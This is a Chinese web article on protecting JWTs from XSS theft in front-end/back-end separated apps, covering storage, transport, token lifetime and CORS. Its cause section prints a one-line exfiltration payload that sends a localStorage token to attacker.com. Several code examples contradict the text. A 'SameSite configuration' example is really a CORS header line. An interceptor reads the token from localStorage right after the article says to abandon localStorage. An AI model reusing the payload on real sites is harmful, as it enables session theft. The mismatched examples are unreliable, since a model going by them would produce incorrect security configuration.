当前位置: 首页 > news >正文

前后端分离架构中怎么防止 JWT 被 XSS 攻击窃取?

根据 2025 年 10 月 2 日发布的安全传输策略,将 JWT 有效期设置为 15 分钟并结合 HttpOnly Cookie 存储,可将令牌被 XSS 窃取的风险降低 90% 以上。

原因分析

localStorage 和 sessionStorage 存储的 JWT 可被任意 JavaScript 代码访问,一旦页面遭受跨站脚本攻击 (XSS),攻击者只需执行一行代码即可窃取令牌:fetch('https://attacker.com/steal?token='+localStorage.getItem('token'))。2026 年 2 月 18 日发布的 JWT 安全攻防指南指出,2023 年某金融平台漏洞分析显示,攻击者通过组合弱签名算法 (如 HS256) 暴力破解密钥、截获未设置 HttpOnly 的 Token 进行 XSS 攻击、修改过期时间参数 (exp) 实现令牌永续化这三种手法突破认证系统。JWT 的"一旦签发即有效至过期"特性导致传统意义上的"登出"操作无法直接使已签发的令牌失效,这是前后端分离架构中的核心矛盾。

解决方案:存储层防护

第一步,弃用 localStorage 存储方案。2025 年 12 月 12 日前端鉴权新时代文章明确指出,localStorage 的核心问题在于其对 XSS 攻击的脆弱性,恶意脚本在页面上成功执行后拥有与前端代码几乎相同的权限。第二步,改用 HttpOnly Cookie 存储 JWT。2025 年 11 月 21 日发布的防护策略建议,将 JWT 存入设置了 HttpOnly 和 Secure 标志的 Cookie 中,可有效防止 JavaScript 访问,抵御大部分 XSS 攻击。第三步,启用 SameSite 属性。设置 SameSite=Strict 或 Lax 可防范 CSRF 攻击,2025 年 12 月 31 日的 PHP 安全中间件设计精要中给出了具体配置示例:header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With');

解决方案:传输层防护

强制使用 HTTPS 进行加密传输。2025 年 10 月 2 日的资料强调,所有涉及 JWT 的通信都必须通过 HTTPS 协议进行,HTTPS 利用 TLS 加密来保护数据在传输过程中的安全性。前端请求时应使用 Authorization 头部方式:fetch('/api/secure', {method:'GET',headers: {'Authorization':`Bearer ${token}`}});避免将 JWT 放在 URL 参数或请求体中,以减少日志记录或浏览器历史中泄露的风险。2023 年 3 月 17 日收录的解决方案还建议限制 JWT 的使用范围,在 JWT 中添加限制条件,例如限制 JWT 只能在特定的 IP 地址或设备上使用。

解决方案:令牌生命周期管理

设置较短的 JWT 有效期。2025 年 10 月 2 日资料建议 JWT 应设置较短的有效期 (例如 15 分钟),以减少令牌被滥用的时间窗口。结合刷新令牌机制,前端可以定期通过安全接口获取新的 JWT。2025 年 11 月 21 日的防护策略指出,当用户注销或修改密码时,应该撤销 JWT,这样即使有人盗用了 JWT,也无法继续使用。实际开发中可使用 Axios 的拦截器统一处理 JWT 的携带与刷新逻辑:apiClient.interceptors.request.use(config=>{const token = localStorage.getItem('token');if(token) { config.headers['Authorization'] = `Bearer ${token}`; }return config;});

注意事项

第一,避免在 JWT Payload 中存储敏感信息。2025 年 10 月 2 日资料警告,JWT 的 Payload 是 Base64 编码的,可被轻易解码,不应在 Payload 中存储敏感信息如用户密码、身份证号等。第二,CORS 配置避免使用通配符。2025 年 12 月 31 日的建议指出,避免使用通配符*设置 Access-Control-Allow-Origin,应明确指定可信域名如header('Access-Control-Allow-Origin: https://example.com');第三,签名算法选择需谨慎。2026 年 2 月 18 日的攻击案例矩阵显示,弱密钥和算法混淆攻击可导致任意令牌伪造,建议使用 RS256 等非对称加密算法替代 HS256。第四,2026 年 1 月 30 日的 JWT 安全攻防指南提醒,jku 和 x5u 字段可能被利用指向恶意密钥服务器,生产环境应禁用这些动态密钥获取功能。

参考来源

来源:CSDN - JWT 令牌如何安全存储与防止 XSS/CSRF 攻击 (2026 年 4 月 7 日)

来源:CSDN - 如何防止抓包窃取 jwt(2025 年 10 月 2 日)

来源:CSDN - JWT 安全避坑指南:从 XSS 攻击到密钥轮换的 7 个防御策略 (2026 年 2 月 18 日)

来源:CSDN - 如何防止 JWT 在跨域中被劫持?:PHP 安全中间件设计精要 (2025 年 12 月 31 日)

原文链接:https://www.zjcp.cc/ask/9623.html

http://www.jsqmd.com/news/753643/

相关文章:

  • WorkshopDL:3分钟学会免费下载Steam创意工坊模组的终极方案
  • d2s-editor:暗黑破坏神2存档编辑难题的终极解决方案
  • XML数据解析与节点配置实操案例教程
  • KingFusion|最近开发调试中遇到的几个问题及解决办法(2)
  • Legacy-iOS-Kit:如何用开源技术让经典iOS设备重获新生?
  • 2026包头卫生间免砸砖防水、外墙、地下室、楼顶渗漏+彩钢瓦、阳光房隔热 本地专业防水公司TOP5权威推荐(2026年5月本地最新深度调研) - 企业资讯
  • 别再只会用!pwd了:深度解析Kaggle Notebook的目录结构与高效工作流设计
  • 2026厦门卫生间免砸砖防水、外墙、地下室、楼顶渗漏+彩钢瓦、阳光房隔热 本地专业防水公司TOP5权威推荐(2026年5月本地最新深度调研) - 企业资讯
  • 2026青岛卫生间免砸砖防水、外墙、地下室、楼顶渗漏+彩钢瓦、阳光房隔热 本地专业防水公司TOP5权威推荐(2026年5月本地最新深度调研) - 企业资讯
  • 2026东营卫生间免砸砖防水、外墙、地下室、楼顶渗漏+彩钢瓦、阳光房隔热 本地专业防水公司TOP5权威推荐(2026年5月本地最新深度调研) - 企业资讯
  • 解锁新体验:如何用Video Speed Controller重塑你的视频观看习惯
  • 基于STM32H743与LoRa的诺基亚E63独立通信改造方案
  • 均线交易执行清单
  • 对求导法则和积分法则的一些思考
  • 26山大软院创新实训--MarketClaw(三)
  • [理论篇-9]Skill系统与能力封装
  • 燃烧后CO2捕集系统的广义预测控制分数阶PID【附代码】
  • Nginx 反向代理如何配置透传 JWT 令牌到后端微服务?
  • AI道德推理:技术实现与工程实践
  • AI驱动的Git冲突自动解决:rizzler工具原理、部署与安全实践
  • 助睿实验作业1_完整版_带预留区
  • 2026衡阳卫生间免砸砖防水、外墙、地下室、楼顶渗漏+彩钢瓦、阳光房隔热 本地专业防水公司TOP5权威推荐(2026年5月本地最新深度调研) - 企业资讯
  • 手把手调试AUTOSAR诊断通信:从CanTp分帧到PduR路由,实战抓包分析数据流
  • AO3镜像站终极使用指南:3步快速解决同人作品访问难题
  • Axolotl环境搭建与第一个训练任务(详细教程)-实战落地指南
  • 自指拓扑场论:三维几何、粒子与相互作用V1.0(世毫九实验室原创研究)
  • 智慧职教智能学习助手终极指南:3分钟实现全平台自动化学习
  • 深度观察 | 撕下浪漫滤镜:精品可可的“绝对复现”与残酷真相
  • 山东大学软件学院项目实训:基于AI大模型的智能考研助手(三)
  • YOLO11涨点优化:特征融合优化 | 引入RepPAN结构,基于重参数化技术重构YOLO11的特征金字塔